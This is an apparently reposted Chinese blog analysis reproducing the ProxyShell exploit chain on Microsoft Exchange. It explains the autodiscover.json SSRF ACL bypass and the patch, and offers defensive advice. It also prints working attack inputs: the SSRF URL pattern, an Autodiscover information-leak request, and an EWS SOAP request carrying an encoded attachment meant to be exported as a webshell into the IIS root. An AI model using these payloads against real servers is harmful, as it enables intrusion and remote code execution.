前言

近日，有研究員公布了自己針對微軟的Exchange服務的攻擊鏈的3種利用方式。微軟官方雖然出了補丁，但是出于種種原因還是有較多用戶不予理會，導致現在仍然有許多有漏洞的服務暴露在公網中，本文主要在原理上簡要分析復現了最近的ProxyShell利用鏈。

1.ProxyLogon: The most well-known pre-auth RCE chain

2.ProxyOracle: A plaintext-password recovery attacking chain

3.ProxyShell: The pre-auth RCE chain we demonstrated at Pwn2Own 2021

漏洞復現及分析

復現環境：
· Exchange Server 2016 Builder 15.1.1531
受影響版本：
· Exchange Server 2013 Versions < Builder 15.0.1497.012
· Exchange Server 2016 CU18 < Builder 15.1.2106.013
· Exchange Server 2016 CU19 < Builder 15.1.2176.009
· Exchange Server 2019 CU7 < Builder 15.2.0721.013

利用鏈大致分兩個階段，ACL繞過和在繞過前提下的wsdl的SOAP接口利用，最終能導致RCE，利用效果圖如下：

1.ACL繞過
在ProxyLogon就存在SSRF，而ProxyShell的SSRF利用點稍有不同，但是利用原理還是一致的，在Exchange 端掛調試下斷點，調試dll代碼如下，可知URL前后解析方式如下:

解析前URL

解析后URL

https://Exchange:443/autodiscover/autodiscover.json?a=axx@foo.com/autodiscover/autodiscover.xml↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ https://Exhcage:444/autodiscove/autodiscover.xml

從結果看443端口轉向 444端口，那么現在再去看在服務端Exchange的web站點分布情況，頁面是跑在IIS組件上的，故而看IIS上的站點分布，存在前臺服務和后臺服務，即存在80到81、443到444的映射關系。
【安全資料】

前臺服務

后臺服務
現在看利用的本質就是在前臺服務中存在校驗缺失，導致外面發起的請求可以以前臺服務的進程作為跳板進行后臺服務資源的訪問。

從代碼上看
Microsoft.Exchange.FrontEndHttpProxy.dll【安全資料】



偽代碼如下

GetClientUrlForProxy(){If(isExplicitLogoRequest&&IsAutodiscoverV2Request(base.url)) RemoveExplicitLogoFromUrlAbsoluteUri(AbsoluteUri,ExplicitLogoaddress) } 存在3個函數 1. GetClientUrlForProxy 2. isExplicitLogoRequest 3. IsAutodiscoverV2Request IsAutodiscoverV2Request是關鍵點，如上圖所示，在于/autodiscover.json，如果IsAutodiscoverV2Request存在就可導致URL刪除中間部分生成新的uri從而產生了如下解析，導致了SSRF

2.接口利用

Exchange的安裝目錄如下，可見軟件自身就設計了有較多的接口用于業務需求，攻擊方式正是基于如上解析方式進行ACL權限繞過，訪問銘感資源(想起幾年前的某酒店因為wsdl接口外露，被人發現可直接寫文件的接口直接RCE的情況)，對于接口的利用在于wsdl的SOAP XML請求的參數要求及報文格式，利用得當的情況下，可在未授權情況下獲取配置信息(LegacyDN、SID、郵箱賬戶)、讀寫文件、命令交互等。

接口利用截圖

以獲取LegacyDN信息為例
向/autodiscover/autodiscover.json?a=foo@foo.com/autodiscover/autodiscover.xml發送如下xml請求可返回LegacyDN內容

<?xml version="1.0" encoding="utf-8"?> <Autodiscover xmlns="https://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>mara@contoso.com</EMailAddress><AcceptableResponseSchema>https://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request> </Autodiscover>

而里面所需的EMailAddress參數如果未知，可使用官方包含的默認特殊系統郵箱。

xml格式官方文檔連接如下
https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/how-to-get-user-settings-from-exchange-by-using-autodiscover【安全資料】

其他接口對應的請求測試如下所示
獲取SID

獲取郵箱

寫入文件



實現寫入文件的思路大致為調用郵件接口發送郵件，在調用導出郵件接口，向指定系統路徑(iis根目錄)寫入webshell。由于郵件內容為PST格式，IIS解析不了，需要二次解碼，即發送之前先編碼一次，導出的時候在解碼成正常格式即可，【安全資料】
編碼方式官方文檔鏈接如下(https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-pst/5faf4800-645d-49d1-9457-2ac40eb467bd)。

在寫入文件的時候還需要構造cookie才能進行調用訪問，如果沒有cookie會返回401，所幸構造的所需要的內容可以通過SSRF獲取，然后在分析調試代碼在手工構造，發送郵件然后導出郵件。【安全資料】

<soap:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Header><t:RequestServerVersion Version="Exchange2016" /><t:SerializedSecurityContext><t:UserSid>S-1-5-21-1692751536-334164737-1685896678-16656</t:UserSid><t:GroupSids><t:GroupIdentifier><t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier></t:GroupIdentifier></t:GroupSids></t:SerializedSecurityContext></soap:Header><soap:Body><m:CreateItem MessageDisposition="SaveOnly"><m:Items><t:Message><t:Subject>tsjsupqgmdciximd</t:Subject><t:Body BodyType="HTML">hello by xyy</t:Body><t:Attachments><t:FileAttachment><t:Name>f.txt</t:Name><t:IsInline>false</t:IsInline><t:IsContactPhoto>false</t:IsContactPhoto><t:Content>ldZUhrdpFDnNqQbf96nf2v+CYWdUhrdpFII5hvcGqRT/gtbahqXahoLZnl33BlQUt9MGObmp39opINOpDYzJ6Z45OTk52qWpzYy+2lz32tYUfoLaddpUKVTTDdqCD2uC9wbWqV3agskxvtrWadMG1trzRAYNMZ45OTk5IZ6V+9ZUhrdpFNk=</t:Content></t:FileAttachment></t:Attachments><t:ToRecipients><t:Mailbox><t:EmailAddress>administartor@tamail.com</t:EmailAddress></t:Mailbox></t:ToRecipients></t:Message></m:Items></m:CreateItem></soap:Body> </soap:Envelope>

調試代碼如下：
Microsoft.Exchange.Configuration.RemotePowershellBackendCmdletProxyModule.dll
序列化解密X-Rps-CAT數值的代碼如下
【安全資料】

修復原理

修復前

修復后

可以明顯看出刪除了IsAutodiscoverV2Request判斷防止SSRF的發生。
【安全資料】

總結

SSRF漏洞看似危害不大，但是只要后續攻擊鏈夠完整，一樣能發揮關鍵作用，就像這次的繞過加利用，又或是之前看過SSRF到內網漫游的利用。從流量防御的角度來看(畢竟官方的補丁也不是那么及時)，找準利用的入口點(autodiscover.json)以及其他能造成危害的接口(/ews、/ecp、/autodiscover、/powershell等等)設置相應的防御手段即可。從漏洞挖掘的角度來看，動態調試永遠是清晰體現流量的生命周期的一個不錯的方式。

有在學網絡安全的朋友可以關注私信我哦！！！

總結

以上是生活随笔為你收集整理的【安全漏洞】简要分析复现了最近的ProxyShell利用链的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。